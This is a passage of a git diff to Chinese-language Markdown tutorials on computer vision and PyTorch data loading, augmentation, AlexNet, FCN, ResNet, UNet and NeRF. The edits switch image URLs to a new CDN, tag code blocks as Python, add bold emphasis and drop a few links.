`cube` 是连在一块的 并没有分出哪一部分是哪一个的 `cube` -#### (d)Instance segmentation 实例分割 +#### (d)Instance segmentation **实例分割** - 实例分割需要区分出哪些像素属于第一个物体、哪些像素属于第二个物体,即目标检测 + 语义分割。 - 看图右下角两个 `cube` 是分开的 #### (e)Key Point 人体关键点检测 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnT2udZtMmV2kLQsXoPuElNd.png) +![](https://cdn.xyxsw.site/boxcnT2udZtMmV2kLQsXoPuElNd.png) 通过人体关键节点的组合和追踪来识别人的运动和行为,对于描述人体姿态,预测人体行为至关重要。 #### (f)Scene Text Recognition(STR)场景文字识别 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnB8ZB4bSaHhIhPFHHrxkakb.png) +![](https://cdn.xyxsw.site/boxcnB8ZB4bSaHhIhPFHHrxkakb.png) 很多照片中都有一些文字信息,这对理解图像有重要的作用。 @@ -48,7 +48,7 @@ 利用两张图片或者其他信息生成一张新的图片 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnOdmG0c1kkivVdTn5RUMCIc.png) +![](https://cdn.xyxsw.site/boxcnOdmG0c1kkivVdTn5RUMCIc.png) 利用左边两张小图生成右边的图片 @@ -56,6 +56,6 @@ 将输入图片分辨率增加 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDJ5aNv49ySjw96uCCF0dW8.png) +![](https://cdn.xyxsw.site/boxcnDJ5aNv49ySjw96uCCF0dW8.png) 当然还有一些新兴领域我们没有写入~ diff --git a/4.人工智能/4.6.5.2.1数据读取.md b/4.人工智能/4.6.5.2.1数据读取.md index 9e0b5c4..bc8d9bb 100644 --- a/4.人工智能/4.6.5.2.1数据读取.md +++ b/4.人工智能/4.6.5.2.1数据读取.md @@ -20,7 +20,7 @@ PyTorch 中的 Dataset 类是一个抽象类,它可以用来表示数据集。 下面我们来编写一个简单的例子,看下如何使用 Dataset 类定义一个 Tensor 类型的数据集。 -``` +```python import torch from torch.utils.data import Dataset @@ -43,7 +43,7 @@ class MyDataset(Dataset): 然后我们来看一下如何调用刚才定义的数据集。首先随机生成一个 10*3 维的数据 Tensor,然后生成 10 维的标签 Tensor,与数据 Tensor 相对应。利用这两个 Tensor,生成一个 MyDataset 的对象。查看数据集的大小可以直接用 len() 函数,索引调用数据可以直接使用下标。 -``` +```python # 生成数据 data_tensor = torch.randn(10, 3) target_tensor = torch.randint(2, (10,)) # 标签是0或1 @@ -67,7 +67,7 @@ DataLoader 是一个迭代器,最基本的使用方法就是传入一个 Datas DataLoader 类的调用方式如下: -``` +```python from torch.utils.data import DataLoader tensor_dataloader = DataLoader(dataset=my_dataset, # 传入的数据集, 必须参数 batch_size=2, # 输出的batch大小 @@ -107,7 +107,7 @@ One batch tensor data: [tensor([[ 0.9451, -0.4923, -1.8178], - shuffle:bool 类型,在每个 epoch 开始的时候,是否对数据进行重新打乱; - num_workers:int 类型,加载数据的进程数,0 意味着所有的数据都会被加载进主进程,默认为 0。 -思考题 +**思考题** 按照上述代码,One batch tensor data 的输出是否正确,若不正确,为什么? @@ -117,7 +117,7 @@ Torchvision 库中的 torchvision.datasets 包中提供了丰富的图像数据 下表中列出了 torchvision.datasets 包所有支持的数据集。各个数据集的说明与接口,详见链接 [https://pytorch.org/vision/stable/datasets.html](https://pytorch.org/vision/stable/datasets.html)。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxvqC7FKt1qeCZoI2kVf9yg.png) +![](https://cdn.xyxsw.site/boxcnxvqC7FKt1qeCZoI2kVf9yg.png) 注意,torchvision.datasets 这个包本身并不包含数据集的文件本身,它的工作方式是先从网络上把数据集下载到用户指定目录,然后再用它的加载器把数据集加载到内存中。最后,把这个加载后的数据集作为对象返回给用户。 @@ -129,11 +129,11 @@ MNIST 数据集是一个著名的手写数字数据集,因为上手简单, MNIST 数据集是 NIST 数据集的一个子集,MNIST 数据集你可以通过[这里](http://yann.lecun.com/exdb/mnist/)下载。它包含了四个部分。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCP2Sp932nPy8Il5Z5d4Aih.png) +![](https://cdn.xyxsw.site/boxcnCP2Sp932nPy8Il5Z5d4Aih.png) MNIST 数据集是 ubyte 格式存储,我们先将“训练集图片”解析成图片格式,来直观地看一看数据集具体是什么样子的。具体怎么解析,我们在后面数据预览再展开。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnjsG31hhjqdxOnoCGFGR6sh.png) +![](https://cdn.xyxsw.site/boxcnjsG31hhjqdxOnoCGFGR6sh.png) 接下来,我们看一下如何使用 Torchvision 来读取 MNIST 数据集。 @@ -143,7 +143,7 @@ MNIST 数据集是 ubyte 格式存储,我们先将“训练集图片”解析 以 MNIST 为例,我们可以用如下方式调用: -``` +```python # 以MNIST为例 import torchvision mnist_dataset = torchvision.datasets.MNIST(root='./data', @@ -173,7 +173,7 @@ torchvision.datasets.MNIST 是一个类,对它进行实例化,即可返回 如果想要查看 mnist_dataset 中的具体内容,我们需要把它转化为列表。(如果 IOPub data rate 超限,可以只加载测试集数据,令 train=False) -``` +```python mnist_dataset_list = list(mnist_dataset) print(mnist_dataset_list) ``` @@ -182,7 +182,7 @@ print(mnist_dataset_list) 这里图像数据是 PIL.Image.Image 类型的,这种类型可以直接在 Jupyter 中显示出来。显示一条数据的代码如下。 -``` +```python display(mnist_dataset_list[0][0]) print("Image label is:", mnist_dataset_list[0][1]) ``` diff --git a/4.人工智能/4.6.5.2.2数据增强.md b/4.人工智能/4.6.5.2.2数据增强.md index 01f18f2..c1ade4b 100644 --- a/4.人工智能/4.6.5.2.2数据增强.md +++ b/4.人工智能/4.6.5.2.2数据增强.md @@ -27,7 +27,7 @@ Torchvision 库中的 torchvision.transforms 包中提供了常用的图像操 我们来看一个具体的例子加深理解。将图片进行一下数据类型的相互转换。具体代码如下: -``` +```python from PIL import Image from torchvision import transforms @@ -58,7 +58,7 @@ print(type(img2)) ''' ``` -首先用读取图片,查看一下图片的类型为 PIL.JpegImagePlugin.JpegImageFile,这里需要注意,PIL.JpegImagePlugin.JpegImageFile 类是 PIL.Image.Image 类的子类。然后,用 transforms.ToTensor() 将 PIL.Image 转换为 Tensor。最后,再将 Tensor 转换回 PIL.Image。 +首先用读取图片,查看一下图片的类型为 PIL.JpegImagePlugin.JpegImageFile,这里需要注意,**PIL.JpegImagePlugin.JpegImageFile 类是 PIL.Image.Image 类的子类**。然后,用 transforms.ToTensor() 将 PIL.Image 转换为 Tensor。最后,再将 Tensor 转换回 PIL.Image。 ## 对 PIL.Image 和 Tensor 进行变换 @@ -68,7 +68,7 @@ torchvision.transforms 提供了丰富的图像变换方法,例如:改变尺 将输入的 PIL Image 或 Tensor 尺寸调整为给定的尺寸,具体定义为: -``` +```python torchvision.transforms.Resize(size, interpolation=2) ``` @@ -81,7 +81,7 @@ torchvision.transforms.Resize(size, interpolation=2) 在 resize 之后呢,一般会接一个 crop 操作,crop 到指定的大小。对于高与宽接近的图片来说,这么做问题不大,但是高与宽的差距较大时,就会 crop 掉很多有用的信息。关于这一点,我们在后续的图像分类部分还会遇到,到时我在详细展开。 -``` +```python from PIL import Image from torchvision import transforms @@ -105,7 +105,7 @@ torchvision.transforms 提供了多种剪裁方法,例如中心剪裁、随机 先说中心剪裁,在中心裁剪指定的 PIL Image 或 Tensor,其定义如下: -``` +```python torchvision.transforms.CenterCrop(size) ``` @@ -113,7 +113,7 @@ torchvision.transforms.CenterCrop(size) 然后是随机剪裁,在一个随机位置剪裁指定的 PIL Image 或 Tensor,定义如下: -``` +```python torchvision.transforms.RandomCrop(size, padding=None) ``` @@ -121,13 +121,13 @@ torchvision.transforms.RandomCrop(size, padding=None) 最后要说的是 FiveCrop,我们将给定的 PIL Image 或 Tensor ,分别从四角和中心进行剪裁,共剪裁成五块,定义如下: -``` +```python torchvision.transforms.FiveCrop(size) ``` size 可以是 int 或 tuple,用法同上。掌握了各种剪裁的定义和参数用法以后,我们来看一下这些剪裁操作具体如何调用,代码如下: -``` +```python from PIL import Image from torchvision import transforms @@ -158,13 +158,13 @@ for img in imgs: 以概率 p 随机水平翻转图像,定义如下: -``` +```python torchvision.transforms.RandomHorizontalFlip(p=0.5) ``` 以概率 p 随机垂直翻转图像,定义如下: -``` +```python torchvision.transforms.RandomVerticalFlip(p=0.5) ``` @@ -172,7 +172,7 @@ torchvision.transforms.RandomVerticalFlip(p=0.5) 这里的随机翻转,是为数据增强提供方便。如果想要必须执行翻转操作的话,将 p 设置为 1 即可。图片翻转代码如下: -``` +```python from PIL import Image from torchvision import transforms @@ -202,7 +202,7 @@ display(img2) 标准化是指每一个数据点减去所在通道的平均值,再除以所在通道的标准差,数学的计算公式:output=(input−mean)/std -而对图像进行标准化,就是对图像的每个通道利用均值和标准差进行正则化。这样做的目的,是为了保证数据集中所有的图像分布都相似,这样在训练的时候更容易收敛,既加快了训练速度,也提高了训练效果。 +而对图像进行标准化,就是对图像的每个通道利用均值和标准差进行正则化。这样做的目的,是**为了保证数据集中所有的图像分布都相似,这样在训练的时候更容易收敛,既加快了训练速度,也提高了训练效果**。 让我来解释一下:首先,标准化是一个常规做法,可以理解为无脑进行标准化后再训练的效果,大概率要好于不进行标准化。 @@ -212,7 +212,7 @@ display(img2) torchvision.transforms 提供了对 Tensor 进行标准化的函数,定义如下: -``` +```python torchvision.transforms.Normalize(mean, std, inplace=False) ``` @@ -224,7 +224,7 @@ torchvision.transforms.Normalize(mean, std, inplace=False) 我们来看看以 (R, G, B) 均值和标准差均为 (0.5, 0.5, 0.5) 来标准化图片后,是什么效果: -``` +```python from PIL import Image from torchvision import transforms @@ -254,7 +254,7 @@ display(img_norm) Compose 类是将多个变换组合到一起,它的定义如下: -``` +```python torchvision.transforms.Compose(transforms) ``` @@ -262,7 +262,7 @@ torchvision.transforms.Compose(transforms) 我们还是结合例子动手试试,如果我们想要将图片变为 200*200 像素大小,并且随机裁切成 80 像素的正方形。那么我们可以组合 Resize 和 RandomCrop 变换,具体代码如下所示: -``` +```python from PIL import Image from IPython.display import display from torchvision import transforms @@ -292,7 +292,7 @@ Compose 类是未来我们在实际项目中经常要使用到的类,结合 to 我们还是以读取 MNIST 数据集为例,看下如何在读取数据的同时,完成数据预处理等操作。具体代码如下: -``` +```python from torchvision import transforms from torchvision import datasets @@ -320,7 +320,7 @@ print(type(item[0])) 我们下面先来看看,在图像分类实战中使用的 transform,可以感受一下实际使用的 transforms 是什么样子: -``` +```python transform = transforms.Compose([ transforms.RandomResizedCrop(dest_image_size), transforms.RandomHorizontalFlip(), diff --git a/4.人工智能/4.6.5.3.1AlexNet.md b/4.人工智能/4.6.5.3.1AlexNet.md index 46968ca..410d154 100644 --- a/4.人工智能/4.6.5.3.1AlexNet.md +++ b/4.人工智能/4.6.5.3.1AlexNet.md @@ -10,29 +10,29 @@ AlexNet 有 6 千万个参数和 650,000 个神经元。 [论文](http://www.cs.toronto.edu/~fritz/absps/imagenet.pdf) -### 网络框架图 +### **网络框架图** -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcng0jB2dmDD18EwU8nAIFPIc.png) +![](https://cdn.xyxsw.site/boxcng0jB2dmDD18EwU8nAIFPIc.png) -### 使用 ReLU 激活函数代替 tanh +### **使用 ReLU 激活函数代替 tanh** 在当时,标准的神经元激活函数是 tanh()函数,这种饱和的非线性函数在梯度下降的时候要比非饱和的非线性函数慢得多,因此,在 AlexNet 中使用 ReLU 函数作为激活函数。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFlENdpKXUR7l4MhUXFKzfg.png) +![](https://cdn.xyxsw.site/boxcnFlENdpKXUR7l4MhUXFKzfg.png) -### 采用 Dropout 防止过拟合 +### **采用 Dropout 防止过拟合** dropout 方法会遍历网络的每一层,并设置消除神经网络中节点的概率。假设网络中的每一层,每个节点都以抛硬币的方式设置概率,每个节点得以保留和消除的概率都是 0.5,设置完节点概率,我们会消除一些节点,然后删除掉从该节点进出的连线,最后得到一个节点更少,规模更小的网络(如下图所示),然后再用反向传播方法进行训练。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnNXzBUtJWXbUtEZzxugBr6W.png) +![](https://cdn.xyxsw.site/boxcnNXzBUtJWXbUtEZzxugBr6W.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn7kG0PcXNumIdTFuEdaHl0e.png) +![](https://cdn.xyxsw.site/boxcn7kG0PcXNumIdTFuEdaHl0e.png) ### ### -### 视频讲解 +### **视频讲解** # 思考 @@ -40,7 +40,7 @@ dropout 方法会遍历网络的每一层,并设置消除神经网络中节点 AlexNet 中有着卷积和 MLP 两种不同的网络结构,那两者之间有着何种区别和联系呢?(可以从两者的权值矩阵去思考) -### 思考 2 +### **思考 2** 卷积中有一个叫感受野的概念,是什么意思呢?不同的感受野对网络有什么影响? diff --git a/4.人工智能/4.6.5.3.2FCN.md b/4.人工智能/4.6.5.3.2FCN.md index f3eec40..53a6352 100644 --- a/4.人工智能/4.6.5.3.2FCN.md +++ b/4.人工智能/4.6.5.3.2FCN.md @@ -2,7 +2,7 @@ 图像分割领域的开山之作。 -首次将End-to-End的思想应用在了 CV 领域。 +首次将**End-to-End**的思想应用在了 CV 领域。 [知乎](https://zhuanlan.zhihu.com/p/30195134) @@ -10,7 +10,7 @@ ### 框架图 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndYCXYj7rNfhXoSaEPZxpyc.png) +![](https://cdn.xyxsw.site/boxcndYCXYj7rNfhXoSaEPZxpyc.png) ### 同 CNN 的对比 @@ -18,7 +18,7 @@ FCN 对图像进行像素级的分类,从而解决了语义级别的图像分割问题。与经典的 CNN 在卷积层之后使用全连接层得到固定长度的特征向量进行分类不同,FCN 可以接受任意尺寸的输入图像,采用反卷积层对最后一个卷积层的 feature map 进行上采样, 使它恢复到输入图像相同的尺寸,从而可以对每个像素都产生了一个预测, 同时保留了原始输入图像中的空间信息, 最后在上采样的特征图上进行逐像素分类。 -简单的来说,FCN 与 CNN 的区域在把于 CNN 最后的全连接层换成卷积层,输出的是一张已经 Label 好的图片。 +**简单的来说,FCN 与 CNN 的区域在把于 CNN 最后的全连接层换成卷积层,输出的是一张已经 Label 好的图片。** ### 反卷积 @@ -26,7 +26,7 @@ FCN 对图像进行像素级的分类,从而解决了语义级别的图像分 这里图像的反卷积使用了这一种反卷积手段使得图像可以变大,FCN 作者使用的方法是这里所说反卷积的一种变体,这样就可以获得相应的像素值,图像可以实现 end to end。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngqgiogbvy4OYpIzIo6eSXd.png) +![](https://cdn.xyxsw.site/boxcngqgiogbvy4OYpIzIo6eSXd.png) ### 视频 diff --git a/4.人工智能/4.6.5.3.3ResNet.md b/4.人工智能/4.6.5.3.3ResNet.md index 6dc54ae..e8573d6 100644 --- a/4.人工智能/4.6.5.3.3ResNet.md +++ b/4.人工智能/4.6.5.3.3ResNet.md @@ -21,11 +21,11 @@ 如图所示,随着层数越来越深,预测的效果反而越来越差(error 越大) ::: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBDfBnOPmS0btwNseKvsN6f.png) +![](https://cdn.xyxsw.site/boxcnBDfBnOPmS0btwNseKvsN6f.png) ## 网络模型 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnn8a16DYyEPEVuHxvvw7eAf.png) +![](https://cdn.xyxsw.site/boxcnn8a16DYyEPEVuHxvvw7eAf.png) ::: warning 😺 我们可以看到,ResNet 的网络依旧非常深,这是因为研究团队不仅发现了退化现象,还采用出一个可以将网络继续加深的 trick:shortcut,亦即我们所说的 residual。 @@ -35,7 +35,7 @@ ::: ### residual 结构 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhgVaLChu3O2omGJKzFU7uB.png) +![](https://cdn.xyxsw.site/boxcnhgVaLChu3O2omGJKzFU7uB.png) ## 网络代码 @@ -197,7 +197,7 @@ def resnet101(num_classes=1000, include_top=True): ## 视频 -https://www.bilibili.com/video/BV1P3411y7nn + ## 思考 diff --git a/4.人工智能/4.6.5.3.4UNet.md b/4.人工智能/4.6.5.3.4UNet.md index f56f5eb..08158a6 100644 --- a/4.人工智能/4.6.5.3.4UNet.md +++ b/4.人工智能/4.6.5.3.4UNet.md @@ -8,7 +8,7 @@ ## 网络框架 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnoo4bKuLo5qQdQmRP2H75Sb.png) +![](https://cdn.xyxsw.site/boxcnoo4bKuLo5qQdQmRP2H75Sb.png) ::: warning 😺 @@ -45,7 +45,7 @@ U-net 网络的结构如图所示,蓝色箭头代表卷积和激活函数, ## 视频 -https://www.bilibili.com/video/BV1Vq4y127fB + ## 思考 1 ::: warning 🤔 diff --git a/4.人工智能/4.6.5.3.6思考题参考.md b/4.人工智能/4.6.5.3.6思考题参考.md index f36d467..f90eeed 100644 --- a/4.人工智能/4.6.5.3.6思考题参考.md +++ b/4.人工智能/4.6.5.3.6思考题参考.md @@ -10,8 +10,6 @@ [CNN 与 MLP 之间的关系,优缺点](https://www.editcode.net/archive/detail/89781) -[MLP(多层感知机)只是 CNN(卷积网络)的一个特例](https://blog.csdn.net/u010165147/article/details/82851717#:~:text=%E6%98%BE%E7%84%B6%E5%8F%AF%E4%BB%A5%E6%8E%A8%E5%AF%BC%E5%87%BA%EF%BC%8C%E5%BD%93%20CNN%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%8E%E8%BE%93%E5%85%A5%E5%A4%A7%E5%B0%8F%E7%9B%B8%E5%90%8C%20%E6%97%B6%E5%85%B6%E8%AE%A1%E7%AE%97%E8%BF%87%E7%A8%8B%E7%AD%89%E4%BB%B7%E4%BA%8EMLP%EF%BC%8C%E4%B9%9F%E5%B0%B1%E6%98%AF%E8%AF%B4MLP%E7%AD%89%E4%BB%B7%E4%BA%8E,%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%8E%E6%AF%8F%E5%B1%82%E8%BE%93%E5%85%A5%E5%A4%A7%E5%B0%8F%E7%9B%B8%E5%90%8C%20%E7%9A%84CNN%EF%BC%88%E5%A6%82%E8%BE%93%E5%85%A5%E5%9B%BE%E7%89%87%E4%B8%BA100x100%EF%BC%8C%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%BA100x100%EF%BC%89%EF%BC%8C%E6%89%80%E4%BB%A5MLP%E6%98%AFCNN%E7%9A%84%E4%B8%80%E4%B8%AA%E7%89%B9%E4%BE%8B%E3%80%82%20%E8%80%8C%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%8E%E6%AF%8F%E5%B1%82%E8%BE%93%E5%85%A5%E5%A4%A7%E5%B0%8F%E7%9B%B8%E5%90%8C%E4%BC%9A%E7%9B%B4%E6%8E%A5%E4%B8%A2%E5%A4%B1%E9%9D%9E%E5%B8%B8%E5%A4%9A%E7%9A%84%E8%BE%93%E5%85%A5%E7%A9%BA%E9%97%B4%E4%BF%A1%E6%81%AF%EF%BC%8C%E6%89%80%E4%BB%A5MLP%E8%BF%99%E7%A7%8D%E8%BF%90%E8%A1%8C%E6%A8%A1%E5%BC%8F%E4%B8%8D%E9%80%82%E5%90%88%E5%9B%BE%E5%83%8F%E8%BF%99%E7%A7%8D%E7%A9%BA%E9%97%B4%E4%BF%A1%E6%81%AF%E4%B8%B0%E5%AF%8C%E7%9A%84%E6%95%B0%E6%8D%AE%E3%80%82) - ### 1.2 [深度理解感受野](https://blog.csdn.net/weixin_40756000/article/details/117264194) @@ -53,9 +51,3 @@ ### 3.2 [ResNet 残差、退化等细节解读](https://blog.csdn.net/a8039974/article/details/122380735) - -## 思考 4 - -### 4.1 - -[U-Net 和 ResNet:长短跳跃连接的重要性(生物医学图像分割)](https://www.jianshu.com/p/20a47427823c) diff --git a/4.人工智能/4.6.5.3.7还要学更多?.md b/4.人工智能/4.6.5.3.7还要学更多?.md index 12b9354..2a893f7 100644 --- a/4.人工智能/4.6.5.3.7还要学更多?.md +++ b/4.人工智能/4.6.5.3.7还要学更多?.md @@ -6,11 +6,11 @@ - 你可以先行尝试一下怎么把在 MNIST 上训练的网络真正投入应用,比如识别一张你自己用黑笔写的数字~ -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2juA3J3ycnHoN5SmYAfEfd.jpg) +![](https://cdn.xyxsw.site/boxcn2juA3J3ycnHoN5SmYAfEfd.jpg) - 比如你可以尝试训练一个网络来实现人体五官分割(笔者之前就玩过这个)数据集采用 [helen 数据集](https://pages.cs.wisc.edu/~lizhang/projects/face-parsing/),关于数据集的架构你可以搜一搜,自己设计一个 Dataloader 和 YourModle 来实现前言中的五官分割效果(真的很有乐子 hhh) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJJlzanhvtE55Q7d0IR1vph.png) +![](https://cdn.xyxsw.site/boxcnJJlzanhvtE55Q7d0IR1vph.png) - 当然你也可以尝试一些自己感兴趣的小任务来锻炼工程能力~ diff --git a/4.人工智能/4.6.5.4.1NeRF.md b/4.人工智能/4.6.5.4.1NeRF.md index 15c09fa..0a2aea0 100644 --- a/4.人工智能/4.6.5.4.1NeRF.md +++ b/4.人工智能/4.6.5.4.1NeRF.md @@ -6,15 +6,15 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 在生成建模前,我们需要对被建模物体进行密集的采样,如下图是一个示例的训练集,它含有 100 张图片以及保存了每一张图片相机参数(表示拍摄位置,拍摄角度,焦距的矩阵)的 json 文件。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn6jg09V944MU1sBsstmdaib.png) +![](https://cdn.xyxsw.site/boxcn6jg09V944MU1sBsstmdaib.png) -你可以看到,这 100 张图片是对一个乐高推土机的多角度拍摄结果。我们需要的是一个可以获取这个推土机在任意角度下拍摄的图片的模型。如图所示: +你可以看到,这 100 张图片是对一个乐高推土机的多角度拍摄结果。我们需要的是一个可**以获取这个推土机在任意角度下拍摄的图片**的模型。如图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLEEyuUWOwiJOePhmmsAakd.gif) +![](https://cdn.xyxsw.site/boxcnLEEyuUWOwiJOePhmmsAakd.gif) 现在来看 NeRF 网络: -在 NeRF 中,我们把空间认为是一个个的小方块叠成的空间(可以理解为 MC)每一个方块有以下属性: +在 NeRF 中,我们把空间**认为是一个个的小方块叠成的空间**(可以理解为 MC)每一个方块有以下属性: - 3 个位置坐标(x,y,z) - 透明度$\sigma$ @@ -24,27 +24,27 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 ## 得到模型 -我们需要的是每个视角下的图片,可以理解为从一个视角发射光线一根光线对应一个像素点。这些光线穿透路径上的所有方块,把这些方块上的属性信息以某种方式累计,就能得到这个像素的颜色。这是 一个已有的公式,只要我们获得每个小方块的颜色信息和不透明度,我们就能知道这个角度下的视图。(这个我们后面介绍) +我们需要的是每个视角下的图片,可以理解为从一个视角发射**光线**,一根光线对应一个像素点。这些光线穿透路径上的所有方块,把这些方块上的属性信息以某种方式累计,就能得到这个像素的颜色。这是 一个已有的公式,只要我们获得每个小方块的颜色信息和不透明度,我们就能知道这个角度下的视图。(这个我们后面介绍) -现在的难点在于:我们不知道每个小方块的颜色信息(因为颜色会随着观察角度变化)。众所周知,算法解决不了的问题就扔给神经网络试试啦~ +现在的难点在于:我们不知道**每个小方块的颜色信息**(因为颜色会随着观察角度变化)。众所周知,算法解决不了的问题就扔给神经网络试试啦~ -为了获取根据角度变化而变化的颜色信息,我们选择了神经网络。 +**为了获取根据角度变化而变化的颜色信息,我们选择了神经网络。** -这个网络的输入是: +**这个网络的输入是:** - 小方块的位置坐标(x,y,z) - 观察角度(以二维坐标表示两个偏转角) -这个网络的输出是: +**这个网络的输出是:** - 对应的小方块的 RGB 信息 - 不透明度 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg) +![](https://cdn.xyxsw.site/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg) -在这里,作者选择了最简单的 MLP,因此,这是一个输入为 5 维,输出为 4 维向量($R,G,B,\sigma$)的简单网络,值得注意的是,不透明度与观察角度无关,这里在网络中进行了特殊处理,让这个值与后两维无关。 +在这里,作者选择了最简单的 MLP,因此,**这是一个输入为 5 维,输出为 4 维向量**($R,G,B,\sigma$)的简单网络,值得注意的是,不透明度与观察角度无关,这里在网络中进行了特殊处理,让这个值与后两维无关。 -现在我们能够输入坐标和视角信息得到小方块的颜色和不透明度,我们就可以对光线穿过的小方块进行计算了。 +**现在我们能够输入坐标和视角信息得到小方块的颜色和不透明度,我们就可以对光线穿过的小方块进行计算了。** ## 进行渲染 @@ -54,19 +54,19 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 这个公式对光线上的所有小方块的颜色进行加权求和,权重是关于不透明度$\sigma$的一个函数$T(\sigma)$,不透明度在[0,1]之间,越不透明这个值越大。也就是越不透明,占的颜色比重越高,比如空气的$\sigma$就接近于 0,乐高本身就接近 1。而求和的结果就是这个光线对应像素的颜色。 -这里展开说一下$T(\sigma)$,我们把不透明度理解为光线在这个小方块被阻止的概率,越不透明,越容易阻挡光线,而光线一旦被阻挡,就不用计算后面的小方块颜色了。因此,我们的$T(\sigma)$就表示光线能够行进到这个小方块的概率,也就是这点之前所有小方块的$(1-\sigma)$的乘积。 +这里展开说一下$T(\sigma)$,我们把不透明度理解为光线在这个小方块被阻止的概率,越不透明,越容易阻挡光线,而光线一旦被阻挡,就不用计算后面的小方块颜色了。因此,我们的$T(\sigma)$就表示**光线能够行进到这个小方块的概率**,也就是这点之前所有小方块的$(1-\sigma)$的乘积。 -这段要仔细看和推导,第一遍不容易直接懂。顺带一提,我们的小方块学名叫体素为了显得我们更专业一点以后就叫它体素罢 +这段要仔细看和推导,第一遍不容易直接懂。顺带一提,我们的**小方块**学名叫**体素**,为了显得我们更专业一点以后就叫它体素罢 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png) +![](https://cdn.xyxsw.site/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png) 上面所说的公式具体如下:t 是我们的$\sigma$,$t_f,t_n$分别是离发射点最远的体素和最近的体素。这个公式求得是像素的颜色。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDWBUOJucS2YdT7MlKBAq8g.png) +![](https://cdn.xyxsw.site/boxcnDWBUOJucS2YdT7MlKBAq8g.png) 思路总体如上,这里放一张找来的渲染过程示意图(不知道为什么有点包浆) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfH30VDvbSdzahs5lRuirUd.gif) +![](https://cdn.xyxsw.site/boxcnfH30VDvbSdzahs5lRuirUd.gif) # 算法细节部分 @@ -84,12 +84,12 @@ NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位 我们使用了两个网络:粗网络和精细网络。 -粗网络就是上述采样方法用的普通网络,而粗网络输出的不透明度值会被作为一个概率分布函数,精细网络根据这个概率分布在光线上进行采样,不透明度越大的点,它的邻域被采样的概率越大,也就实现了我们要求的在实体上多采样,空气中少采样。最后精细网络输出作为结果,因此粗网络可以只求不透明度,无视颜色信息。 +粗网络就是上述采样方法用的普通网络,而**粗网络输出的不透明度值会被作为一个概率分布函数**,精细网络根据这个概率分布在光线上进行采样,不透明度越大的点,它的邻域被采样的概率越大,也就实现了我们要求的在实体上多采样,空气中少采样。最后精细网络输出作为结果,因此粗网络可以只求不透明度,无视颜色信息。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwl72wntQgYMFvRPTWY5fPf.png) +![](https://cdn.xyxsw.site/boxcnwl72wntQgYMFvRPTWY5fPf.png) ## 位置编码 学过 cv 的大家想必对这个东西耳熟能详了吧~,这里的位置编码是对输入的两个位置和一个方向进行的(体素位置,相机位置和方向),使用的是类似 transformer 的三角函数类编码如下。位置编码存在的意义是放大原本的 5 维输入对网络的影响程度,把原本的 5D 输入变为 90 维向量;并且加入了与其他体素的相对位置信息。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnliAj5mb0Afz0TOMwrwytmh.png) +![](https://cdn.xyxsw.site/boxcnliAj5mb0Afz0TOMwrwytmh.png) diff --git a/4.人工智能/4.6.5.4.2NeRF的改进方向.md b/4.人工智能/4.6.5.4.2NeRF的改进方向.md index e5c93fb..22c492e 100644 --- a/4.人工智能/4.6.5.4.2NeRF的改进方向.md +++ b/4.人工智能/4.6.5.4.2NeRF的改进方向.md @@ -10,21 +10,21 @@ ### 1.Pixel-nerf -Pixel-nerf 对输入图像使用卷积进行特征提取再执行 nerf,若有多个输入,对每个视角都执行 CNN,在计算光线时,取每一个已有视角下该坐标的特征,经过 mlp 后算平均。可以在少量视角下重建视图,需要进行预训练才能使用,有一定自动补全能力(有限) 